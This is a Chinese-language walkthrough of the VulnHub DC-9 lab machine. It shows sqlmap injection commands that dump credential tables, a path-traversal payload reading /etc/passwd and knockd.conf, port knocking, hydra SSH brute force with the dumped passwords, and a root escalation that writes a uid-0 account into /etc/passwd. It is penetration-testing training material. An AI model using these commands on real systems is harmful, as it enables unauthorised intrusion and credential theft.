靶场介绍

  • Name: DC: 9
  • Date release: 29 Dec 2019
  • Author: DCAU
  • Series: DC

描述

DC-9 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

这一挑战的最终目标是获得根并阅读唯一的标志。

必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。

对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。

技术信息

DC-9 是基于 Debian 64 位构建的 VirtualBox VM,但在大多数 PC 上运行它应该没有任何问题。

DC-9 已在 VMWare Player 上成功测试,但如果在 VMware 中运行此 VM 有任何问题,请通读.

它当前配置为桥接网络,但是,可以根据您的要求进行更改。网络配置为 DHCP。

安装很简单 - 下载它,解压缩,然后将它导入 VirtualBox 或 VMWare,然后就可以了。

重要的

虽然使用此 VM 应该没有问题,但通过下载它,您将对此 VM 可能造成的任何意外损坏承担全部责任。

这么说应该没什么问题,但我觉得有必要把它扔在那里以防万一。

nmap扫描

存活主机

image-20220917093537957

1
2
kali   192.168.169.220
dc 192.168.169.241

目标IP

image-20220917111554452

bp+xray

image-20220917094519038

image-20220917094443477

  • post提交的sql注入

sqlmap

  • bp抓包,将请求保存

image-20220917095230933

image-20220917095354937

sqlmap开跑

1
sqlmap -r dc9.txt --batch --level 4 --dbs

image-20220917095613817

users

1
sqlmap -r dc9.txt --batch --level 4 -D users --tables

image-20220917095745344

1
sqlmap -r dc9.txt --batch --level 4 -D users -T UserDetails --columns

image-20220917095902912

1
sqlmap -r dc9.txt --batch --level 4 -D users -T UserDetails -C username,password --dump

image-20220917100030888

  • 复制备用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| username  | password      |
+-----------+---------------+
| monicag | 3248dsds7s |
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| jerrym | B8m#48sd |
| bettyr | BamBam01 |
| janitor2 | Hawaii-Five-0 |
| janitor | Ilovepeepee |
| rossg | ILoveRachel |
| joeyt | Passw0rd |
| wilmaf | Pebbles |
| barneyr | RocksOff |
| phoebeb | smellycats |
| tomc | TC&TheBoyz |
| chandlerb | UrAG0D! |
| rachelg | yN72#dsd |
| scoots | YR3BVxxxw87 |

Staff

  • 如果报错重新复制粘贴请求文件
1
sqlmap -r dc9.txt  --level 4 -D staff --tables

image-20220917101347762

1
sqlmap -r dc9.txt  --level 4 -D Staff -T Users --columns

image-20220917102601216

1
sqlmap -r dc9.txt  --level 4 -D Staff -T Users -C username,password --dump

image-20220917103235265

1
2
admin
transorbital1
  • 登陆成功

    image-20220917103435018

1
2
File does not exist
文件不存在

文件包含漏洞

  • 这里就不懂了(参考)
1
2
3
4
5
File does not exist //文件不存在

我为什么就想不到要文件包含呢

manage.php?file=../../../../../../../../etc/passwd

image-20220917110749263

knockd

  • knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

  • 也就是说 按照一定顺序去访问敲击特定的端口,就能激活ssh

1
http://192.168.169.241/manage.php?file=../../../../../../../etc/knockd.conf

image-20220917111348769

1
2
File does not exist
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

ssh状态

  • 未敲门

image-20220917111608084

  • 开始敲门
1
2
3
nmap -p 7469 192.168.169.241
nmap -p 8475 192.168.169.241
nmap -p 9842 192.168.169.241

image-20220917111743299

ssh开启

image-20220917111847507

爆破ssh

  1. username全部写入到u文件形成user字典
  2. 之前备用的数据库
  3. 将各个账户的密码也写进p字典中
  4. 然后使用两个字典进行爆破,
1
hydra -L u -P p ssh://192.168.169.241
  • user
    monicag
    marym
    julied
    fredf
    jerrym
    bettyr
    janitor2
    janitor
    rossg
    joeyt
    wilmaf
    barneyr
    phoebeb
    tomc
    chandlerb
    rachelg
    scoots

  • pass
    3248dsds7s
    3kfs86sfd
    468sfdfsd2
    4sfd87sfd1
    B8m#48sd
    BamBam01
    Hawaii-Five-0
    Ilovepeepee
    ILoveRachel
    Passw0rd
    Pebbles
    RocksOff
    smellycats
    TC&TheBoyz
    UrAG0D!
    yN72#dsd
    YR3BVxxxw87

  • 爆破成功

  • 编辑的文本名字和密码内容后面不能有空格

image-20220917121231669

1
2
3
ssh  chandlerb@192.168.169.241   UrAG0D!      
ssh joeyt@192.168.169.241 Passw0rd
ssh janitor@192.168.169.241 Ilovepeepee

登录ssh

1
chandlerb@192.168.169.241   UrAG0D!

image-20220917122442438

1
ssh  joeyt@192.168.169.241       Passw0rd

image-20220917122541415

1
ssh  janitor@192.168.169.241     Ilovepeepee  

image-20220917122628498

  • 最终在janitor 发现个隐藏文件夹

探索janitor

image-20220917123543689

1
2
3
4
5
6
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

再次爆破ssh

  • 把上面的密码添加到爆破的密码文件,继续爆破

image-20220917123833184

1
[22][ssh] host: 192.168.169.241   login: fredf   password: B4-Tru3-001

fredf连接ssh

1
ssh  fredf@192.168.169.241     B4-Tru3-001

image-20220917124121872

提权

image-20220917124400311

image-20220917124849475

1
2
3
4
意思是 读取argv1的内容,然后将1的内容写入argv2。
也就是说 这个python文件 需要两个参数来执行
因为这个文件是root权限,所以这里可以构造参数1:一个root用户和密码,参数2:/etc/passwd
这样这个文件执行 就会创建一个root用户
  • 接下来看不懂,照着抄
1
2
3
4
5
6
7
8
9
openssl passwd -1 -salt kidll 123456789

-1 #使用md5加密算法
-salt #自动插入盐值

kidll 123456789 账号 密码

这串代码系统生成
$1$kali$F4zZpaACn/q8kr0i413b30

image-20220917125208218

  • 构造用户
1
2
3
4
5
kidll:$1$kali$F4zZpaACn/q8kr0i413b30:0:0::/root:/bin/bash

根据/etc/passwd的格式 存放在一个文件里 作为第一个参数

echo 'kidll:$1$kali$F4zZpaACn/q8kr0i413b30:0:0::/root:/bin/bash' >/tmp/a # 这里用tmp 文件夹 这个权限要大一些

image-20220917125454742

  • 跟上参数 执行test这个文件
  • 注意目录
1
sudo ./test /tmp/a /etc/passwd

image-20220917130022750

  • 这样算成功
1
cat /etc/passwd

image-20220917130141058

  • root

image-20220917130306534

image-20220917130414938

vulnhub dc系列结束